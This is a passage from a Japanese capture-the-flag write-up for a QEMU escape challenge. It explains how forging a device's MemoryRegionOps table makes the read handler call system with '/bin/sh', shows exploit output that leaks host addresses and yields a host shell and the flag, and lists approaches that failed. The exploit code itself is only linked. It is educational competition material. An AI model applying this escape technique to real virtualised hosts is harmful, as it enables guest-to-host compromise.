parent_obj --------+ | | : : : | | +--- mmio --------------+ <--- MemoryRegion構造体 | | : : : | ops' ------+----+ | opaque |<---|-- これがraed/write時の第1引数. | : | | "/bin/sh"に向けておけば, | | | readハンドラ経由でsystemが : : : 呼び出されたときに,"/bin/sh"が +-----------------------+ | 引数にセットされる. | reg_mmio + | +--- buffer ------------+ <--+ <--- 偽装したMemoryRegionOps | &system | --> readハンドラ経由でsystemを呼ぶ. |&pci_babydev_mmio_write| --> writeハンドラは, この後も使いたいのでそのまま向けておく. | : | : : +-----------------------+ ``` ## 最終的なExploit 以下のようなコードになった. 安定して刺さる. {%gist 1u991yu24k1/5fca4fed5cd99ce39756d85ddd793d8a %} 実行結果 ![image](https://hackmd.io/_uploads/HJoH_ZzQkl.png) ```shell= # ./x ./x [+] PCI device path : /sys/bus/pci/devices/0000:00:04.0/resource0 [+] PCI mapped address: 0x7f52af226000 [+] heap(host) : 0x55a3841f01c0 [+] Our buffer : 0x55a3853515c8 [+] code(host) : 0x55a34bc74000 [+] system@plt(host): 0x55a34bf98150 [+] system@got(host): 0x55a34d556d38 [+] system@(host) : 0x7f8dd2c6d740 [+] "/bin/sh" : 0x55a34c20c417 [+] libc(host) : 0x7f8dd2c15000 sh: turning off NDELAY mode ls bzImage flag-3d88515f1a04703466da6ca63c4df592.txt pow.sh qemu-system-x86_64 roms rootfs.cpio.gz run.sh cat flag-3d88515f1a04703466da6ca63c4df592.txt SECCON{q3mu_35c4p3_15_34513r_7h4n_y0u_7h1nk} ``` **FLAG: SECCON{q3mu_35c4p3_15_34513r_7h4n_y0u_7h1nk}** ## 補足: ダメだったパターン ### `ops`の指し先を`system@got`周辺に向ける. `vtable`のポインタを`system`のGOT周辺を向くように上書きし, `read`/`write`のハンドラをトリガーにして, `system`を呼び出すように書き換えようとしたが, これはダメだった. この方法では, 引数となる`MemoryRegion.opaque`に`"/bin/sh"`のアドレスをセットしてから`vtable`ポインタを書き換える必要がある. そのため一度`opaque`を書き換えた後, `write`ハンドラ経由で`ops`を書き換えようとすると,`opaque->ms->reg_mmio`とメモリを辿ってしまい, クラッシュしてしまう. また, `ops`をonegadget周辺に向けて, `read`/`write`ハンドラをトリガーとして呼び出してもシェルは起動しなかった. > 条件を満たせず, SIGSEGVで落ちる. ### `qemu`が持つrwxなページに書き換える `execve("/bin/sh", NULL, NULL)`のような, `shellcode`を書き込んで 任意コードの実行に持ち込もうとしたが, `RWX`ページの確保が, `MAP_ANONYMOUS`だからなのか, `libc`のアドレスがリークできてもoffsetが実行のたびに異なるので, 書き込み先が確定しない. ### MemoryRegion構造体の`destructor`関数ポインタを破壊する `MemoryRegion`構造体には,`destructor`というオブジェクト破棄時に呼び出される関数ポインタも存在しているが, これが呼び出されるトリガーはよくわかってない. 試しに`gdb`でメンバの値を`0xdeadbeef`とかに書き換えても特にクラッシュしなかった. 書き換えた後やってみたこと. - 書き換えた後`poweroff` or `reboot` - `owner->refcount`をNULLクリア - MemoryRegionオブジェクトの生存期間は, [qemuのサイト]( https://github.com/qemu/qemu/blob/master/docs/devel/memory.rst)に説明があるのだが, `owner`が破棄された際に自動で解放される的な事が書いてある. ```rst= Destruction of a memory region happens automatically when the owner object dies. ``` - `/sys`をunmount